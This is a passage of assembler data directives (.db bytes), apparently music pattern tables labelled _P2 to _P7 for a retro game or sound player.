.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x22 ; 34
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x32 ; 50 '2'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x35 ; 53 '5'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x35 ; 53 '5'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
_P2:
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x1d ; 29
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x22 ; 34
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x32 ; 50 '2'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x22 ; 34
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x32 ; 50 '2'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x35 ; 53 '5'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x35 ; 53 '5'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
_P3:
.db #0x1d ; 29
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x1d ; 29
.db #0x70 ; 112 'p'
.db #0xcc ; 204
.db #0x1d ; 29
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x24 ; 36
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x24 ; 36
.db #0x70 ; 112 'p'
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x1d ; 29
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x24 ; 36
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x1d ; 29
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x29 ; 41
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x02 ; 2
.db #0x0a ; 10
.db #0x27 ; 39
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x29 ; 41
.db #0x70 ; 112 'p'
.db #0xcc ; 204
.db #0x27 ; 39
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x24 ; 36
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x24 ; 36
.db #0x70 ; 112 'p'
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x1d ; 29
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x27 ; 39
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x1d ; 29
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x29 ; 41
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x02 ; 2
.db #0x0a ; 10
.db #0x26 ; 38
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x29 ; 41
.db #0x70 ; 112 'p'
.db #0xcc ; 204
.db #0x26 ; 38
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x22 ; 34
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x22 ; 34
.db #0x70 ; 112 'p'
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x26 ; 38
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x24 ; 36
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x22 ; 34
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x24 ; 36
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x24 ; 36
.db #0x70 ; 112 'p'
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
_P4:
.db #0x05 ; 5
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x05 ; 5
.db #0x3c ; 60
.db #0x09 ; 9
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x05 ; 5
.db #0x3c ; 60
.db #0x04 ; 4
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x05 ; 5
.db #0x3c ; 60
.db #0x00 ; 0
.db #0x11 ; 17
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x11 ; 17
.db #0x3c ; 60
.db #0x09 ; 9
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x3c ; 60
.db #0x09 ; 9
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x3c ; 60
.db #0x04 ; 4
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x3c ; 60
.db #0x00 ; 0
.db #0x14 ; 20
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x14 ; 20
.db #0x3c ; 60
.db #0x09 ; 9
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x0a ; 10
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x0a ; 10
.db #0x3c ; 60
.db #0x09 ; 9
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x0a ; 10
.db #0x3c ; 60
.db #0x04 ; 4
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x0a ; 10
.db #0x3c ; 60
.db #0x00 ; 0
.db #0x0a ; 10
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x0a ; 10
.db #0x3c ; 60
.db #0x09 ; 9
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x0c ; 12
.db #0x04 ; 4
.db #0x14 ; 20
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x13 ; 19
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x0f ; 15
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x0f ; 15
.db #0x11 ; 17
.db #0x03 ; 3
.db #0x11 ; 17
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
_P5:
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
_P6:
.db #0x30 ; 48 '0'
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x22 ; 34
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x32 ; 50 '2'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x22 ; 34
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x32 ; 50 '2'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x35 ; 53 '5'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x10 ; 16
.db #0xcc ; 204
.db #0x29 ; 41
.db #0x20 ; 32
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x29 ; 41
.db #0x10 ; 16
.db #0xcc ; 204
.db #0x29 ; 41
.db #0x20 ; 32
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
_P7:
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
